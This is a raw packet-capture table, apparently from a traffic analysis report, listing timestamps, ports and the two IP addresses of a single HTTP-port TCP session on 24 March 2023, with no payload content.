Mar 24, 2023 01:27:09.634691954 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.634691954 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.634691954 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.634711981 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.634772062 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.634828091 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.634884119 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.634938955 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.634994984 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635050058 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635057926 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.635059118 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.635059118 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.635107040 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635162115 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635216951 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635272026 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635329008 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635380983 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.635380983 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.635380983 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.635385036 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635443926 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635503054 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635557890 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635615110 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635668993 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635723114 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635778904 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635833979 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635889053 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635945082 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.635948896 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.635948896 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.635948896 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.636001110 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.636054993 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.636110067 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.636166096 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.636221886 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.636277914 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.636332989 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.636390924 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.636399031 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.636399984 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.636399984 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.636447906 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.636506081 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.636533976 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.636565924 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.636634111 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.692114115 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692209959 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692256927 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692290068 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692361116 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692440033 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692451000 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.692517996 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692548990 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.692548990 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.692579985 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692648888 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692709923 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692780972 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692838907 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692890882 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.692890882 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.692890882 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.692907095 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.692965984 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693033934 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693093061 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693161011 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693223000 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693288088 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693300962 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.693300962 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.693300962 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.693347931 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693420887 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693480015 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693526983 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.693547964 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693566084 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.693607092 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693675995 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693734884 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693797112 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.693798065 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.693804026 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693862915 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693931103 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693988085 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.693994999 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.694058895 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694117069 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694185019 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694242001 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694307089 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694310904 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.694310904 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.694310904 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.694370031 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694442034 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694479942 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.694503069 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694571018 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694629908 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694639921 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.694715023 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694734097 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.694783926 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694854021 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694919109 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.694984913 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.695045948 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.695084095 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.695084095 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.695113897 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.695177078 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.695245981 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.695306063 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.695370913 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.695370913 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.695370913 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.750881910 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.750974894 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751048088 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751118898 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751157045 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.751188993 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.751200914 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751262903 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751333952 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751338959 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.751399040 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751471996 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751530886 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751595974 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.751595974 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.751601934 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751657963 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751732111 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751790047 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751859903 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.751859903 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.751861095 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751923084 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.751981974 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.751995087 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752053976 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752124071 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752182961 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752222061 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.752254009 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752259970 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.752312899 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752383947 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752444029 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752484083 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.752516031 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752521038 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.752577066 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752645969 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752705097 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752763987 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.752763987 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.752774000 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752834082 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752902985 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.752963066 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753032923 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753051996 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.753051996 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.753092051 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753160954 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753223896 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753293991 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753351927 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753353119 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.753353119 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.753424883 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753468990 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.753484011 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753555059 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753602982 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.753613949 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753665924 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.753684044 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753741980 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753809929 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753869057 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753937960 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.753994942 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754065037 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.754065990 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754065037 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.754065037 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.754127979 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754198074 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754256010 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754317045 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.754317045 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.754326105 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754388094 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754456997 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754515886 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754585028 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754646063 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754674911 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.754674911 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.754730940 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.754760027 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754822016 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754889011 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.754942894 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.754951000 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755017996 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755079031 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755151033 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755161047 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.755161047 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.755213022 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755279064 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755337954 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755410910 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755469084 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755511999 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.755511999 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.755534887 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755593061 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755656958 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755664110 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.755664110 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.755717039 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755784988 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755866051 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755919933 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.755928040 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.755950928 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.755994081 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.756138086 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.817594051 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.873395920 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.873492956 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.873559952 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.873631954 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.873646021 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.873703957 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.873729944 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.873763084 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.873835087 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.873893023 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.873955011 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.873955011 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.873961926 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874022961 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874093056 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874150038 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.874154091 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874222040 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874279976 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874349117 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874408007 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874480963 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874489069 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.874489069 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.874540091 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874547005 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.874604940 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.874609947 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874670029 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874732018 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.874759912 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874819994 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874888897 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.874917984 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.874946117 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875016928 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875032902 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.875077963 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875149012 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875164032 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.875210047 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875277042 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.875282049 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875343084 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875413895 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875439882 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.875471115 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875541925 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875603914 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.875608921 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875669003 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875677109 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.875734091 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875808001 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875871897 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.875874043 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.875945091 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876002073 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876072884 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876131058 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876157999 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.876157999 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.876194000 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.876207113 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876281023 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876349926 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876430988 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876482964 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.876509905 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.876513004 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876597881 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876672029 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876732111 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876789093 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.876789093 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.876806021 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876874924 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.876948118 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877007961 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877078056 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877083063 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.877083063 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.877145052 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877217054 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877269030 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.877291918 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877361059 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877430916 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877434015 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.877510071 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.877520084 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877590895 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877680063 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877684116 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.877747059 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877827883 CET	80	49726	91.227.16.21	192.168.2.4
